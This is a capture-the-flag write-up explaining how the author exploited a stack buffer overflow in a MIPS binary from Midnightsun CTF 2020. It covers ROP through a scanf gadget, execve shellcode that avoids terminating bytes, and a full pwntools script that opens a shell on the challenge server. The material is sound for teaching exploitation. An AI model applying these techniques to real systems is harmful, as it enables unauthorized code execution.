Pwny5 Writeup – Midnightsun CTF 2020
In this challenge we get a statically linked binary with a very simple vulnerability. A
scanf("%s", stack_buffer) resulting in a classic stack buffer overflow, as can be seen in the image below.
The interesting part is that we have a
mips binary. This was a first for me and in this writeup we will explore how I debugged and exploited this challenge.
First of all let’s get a good debugging setup.
To simply run the binary we can use
We can also make qemu wait for a gdb connection on port 1234 with
qemu-mipsel-static -g 1234 ./pwn5. Then, on another terminal, we can launch
gdb-multiarch and run the following commands to establish the connection (I added these to my
~/.gdbinit to make this step automatic):
file ./pwn5 set arch mips target remote localhost:1234
And we have debugging! As a side note,
pwndbg was making qemu crash for some reason I did not investigate, but switching to
gef fixed that problem for the most part.
To start let’s get
pc (program counter) control. The program calls
scanf("%s", buf_64_sz) and so we just need to fill the buffer with
"A"*64 and then we have control over the
fp (frame pointer) and
ra (return address).
fp = "BBBB" ra = "CCCC" s.sendline("A"*64 + fp + ra)
To pop a shell, my first thought was to ROP, calling the
read syscall to read
/bin/sh to the bss, and then calling the
execve syscall. In linux mips syscall arguments are passed in registers
$a3 and the syscall number is passed in register
After looking through the gadgets (extracted with
ROPgadget --binary ./pwn5) I noticed that, contrarily to x86, having control over the argument registers
$a2 is not very easy.
For that reason I decided to use the existing
scanf call in the binary to get data into the
bss. As we can see in the image below, if we jump to the highlighted address
0x400758, we can control where the scanf will write to by controlling
And that is what I did. I used a gadget to control
$v0 and then jumped to
def set_v0(v0): return "".join([ p32(0x0046f27c), # lw $v0, 0x20($sp); lw $ra, 0x2c($sp); jr $ra ; addiu $sp, $sp, 0x30 "X"*0x20, p32(v0), "X"*0x8, ]) addr_to_read_to = elf.bss(0x100) scanf_addr = 0x400758 ROP = "".join([ set_v0(addr_to_read_to), p32(scanf_addr), ]) payload = "A"*64 + p32(elf.bss(0x200)) + ROP s.sendline(payload)
I also made
bss+0x200, because this value will be used to set
sp after the call to
scanf, on the instruction
move $sp, $fp which is analogous to
leave on x86. (can be seen in the first picture at 0x40078c). By controlling the stack pointer, we can regain
ra and therefore
At this point I also realized that I could execute shellcode on the stack, bss, etc.. since all mappings are
rwx. Since I was already reading to the bss, I decided to read shellcode, and then jump to it.
The shellcode consisted of:
$a0to the address of
/bin/shby simply subtracting 8 to the original
$a0(determined by debugging)
- jumping to the address of a
syscallgadget already in the binary
Side note: Ideally I would simply use the
syscall instruction (opcode
0000000c), but it contains the byte
0c which would cause
scanf to stop reading. At the time I didn’t know this, but there was a simple workaround. As you can see in mips-isa page 159, the syscall opcode has a
code field which we can use to our advantage. Assembling
syscall 0xfffff results in opcode
03ffffcc which does NOT contain a terminating char like before. Having said this, jumping to a
syscall gadget was also simple enough and I even learned about delay slots.
If you notice there is a
nop after the
j 0x4068bc, which is not there by accident. In MIPS there are branch delay slots, meaning the next instruction is always executed, even if the previous instruction was a branch that was taken.
mips_shellcode = asm(""" xor $a1, $a1 xor $a2, $a2 addiu $a0, $a0, -8 # This will point to /bin/sh li $v0, 4011 # execve syscall j 0x4068bc # syscall gadget nop """) print disasm(mips_shellcode) # The bytes that will stop scanf from reading assert all([i not in "\x09\x0a\x0b\x0c\x0d\x20" for i in mips_shellcode]) payload_2 = mips_shellcode.ljust(348, "D") + p32(shellcode_addr) s.sendline(payload_2.ljust(1132-8, "Z") + "/bin/sh")
And we have a shell!
Other possible methods
Now thinking about it, since the code area is writable I guess I could have just injected my shellcode right after the
scanf call instead of injecting it in the bss and then jumping to it.
Maybe I could even just have written the shellcode on the stack and used a gadget to jump to the stack pointer, instead of reading the second time with
Below you can find the full script.
from pwn import * import sys LOCAL = True if "remote" in sys.argv: LOCAL = False context.clear(log_level='info', arch="mips", os='linux') elf = ELF("pwn5") HOST = "pwn5-01.play.midnightsunctf.se" PORT = 10005 def go(): if LOCAL: # s = process("qemu-mipsel-static -g 1234 ./pwn5".split(" ")) s = process("qemu-mipsel-static ./pwn5".split(" ")) else: s = remote(HOST, PORT) s.recvuntil("data:") def set_v0(v0): return "".join([ p32(0x0046f27c), # : lw $v0, 0x20($sp) ; lw $ra, 0x2c($sp) ; jr $ra ; addiu $sp, $sp, 0x30 "X"*0x20, p32(v0), "Z"*0x8, ]) shellcode_addr = elf.bss(0x100) scanf_addr = 0x400758 ROP = "".join([ set_v0(shellcode_addr), p32(scanf_addr), ]) payload = "A"*64 + p32(elf.bss(0x200)) + ROP print "Payload:", payload s.sendline(payload) mips_shellcode = asm(""" xor $a1, $a1 xor $a2, $a2 addiu $a0, $a0, -8 # This will point to /bin/sh li $v0, 4011 # execve syscall j 0x4068bc # syscall gadget nop """) print disasm(mips_shellcode) # The bytes that will stop scanf from reading assert all([i not in "\x09\x0a\x0b\x0c\x0d\x20" for i in mips_shellcode]) payload_2 = mips_shellcode.ljust(348, "D") + p32(shellcode_addr) payload_2 = payload_2.ljust(1132-8, "Z") + "/bin/sh" s.sendline(payload_2) s.interactive() go()